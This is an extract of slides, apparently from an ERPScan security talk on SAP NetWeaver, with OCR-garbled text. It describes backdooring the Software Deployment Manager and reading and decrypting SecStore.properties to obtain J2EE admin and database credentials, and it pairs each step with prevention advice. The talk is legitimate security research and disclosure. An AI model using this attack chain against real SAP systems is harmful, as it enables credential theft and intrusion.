  • 40. SDM  backdooring   •  before   •  a[er   40  
  • 42. Preven&on         •   Install  Note  1724516,  1685106     •   Enable  the  security  features  of  SDM   •   SDM  server  and  SDM  client  need  to  be  updated   hjps://websmp205.sap-­‐ag.de/~sapidb/012006153200000493902012E/ SDM_EnablingSecurity.pdf     42  
  • 43.    “The  So=ware  Deployment  Manager  (SDM)  uses  the  database   connec0on  informa0on,  the  J2EE  Engine  administrator  user  and   password  from  the  secure  storage  in  the  file  system,  to  connect   to  the  J2EE  Engine  and  perform  tasks  such  as  so=ware   deployment  and  undeployment”.      hjp://help.sap.com/saphelp_nw70ehp1/helpdata/en/3d/ 2e104202795e33e10000000a155106/content.htm   Wow!  J2EE  Engine  administrator  user  and  password   Where  is  all  this  stuff  located?   SAP  SecStore   43  
  • 44. SAP  SecStore    “By  default,  the  J2EE  Engine  stores  secure  data  in  the  file  usr sap<SID>SYSglobalsecuritydataSecStore.proper0es  in  the   file  system”.      “The  J2EE  Engine  uses  the  SAP  Java  Cryptography  Toolkit  to   encrypt  the  contents  of  the  secure  store  with  the   tripleDES  algorithm”.    hjp://help.sap.com/saphelp_nw70ehp1/helpdata/en/3d/ 2e104202795e33e10000000a155106/content.htm     OK.  Let’s  try  to  read  SecStore.proper0es   44  
  • 45. SAP  SecStore   •  We  can  execute  any  OS  command  (we  have  our  backdoor)   •  We  know  the  SAP  J2EE  Engine  stores  the  database   user  SAP<SID>DB;  its  password  is  here:   usrsap<SID>SYSglobalsecuritydataSecStore.properties •  It’s  all  that  we  need   45  
  • 47. Get  the  password   •  We  have  an  encrypted  password   •  We  have  a  key  to  decrypt  it   We  got  the  J2EE  admin  and  JDBC   login:password!   47  
  • 48. Preven&on       Restrict  read  access  to  files  SecStore.proper0es  and   SecStore.key     hjp://help.sap.com/saphelp_nw73ehp1/helpdata/en/cd/ 14c93ec2f7df6ae10000000a114084/content.htm       48  
  • 51. It  is  possible  to  protect  yourself  from  these  kinds  of  issues,     and  we  are  working  close  with  SAP  to  keep  customers  secure   SAP  Guides   It’s  all  in  your  hands   Regular  security  assessments   ABAP  code  review   Monitoring  technical  security   Segrega&on  of  Du&es   Security  events  monitoring   51   Conclusion  
  • 52.  I'd  like  to  thank  SAP's  Product  Security  Response  Team  for  the   great  coopera0on  to  make  SAP  systems  more  secure.  Research   is  always  ongoing,  and  we  can't  share  all  of  it  today.  If  you  want   to  be  the  first  to  see  new  a2acks  and  demos,  follow  us  at   @erpscan  and  a2end  future  presenta0ons:     •  October  30-­‐31  RSA  Europe                              (Amsterdam,  NL)   •  November  7-­‐8  ZeroNights                  (Moscow,  Russia)   •  November  10  G0S                    (New  Dehli,  India)   52   Future  work  
  • 53. Web:                      www.erpscan.com   e-­‐mail:  info@erpscan.com                                     Twijer:     @erpscan   @_chipik   53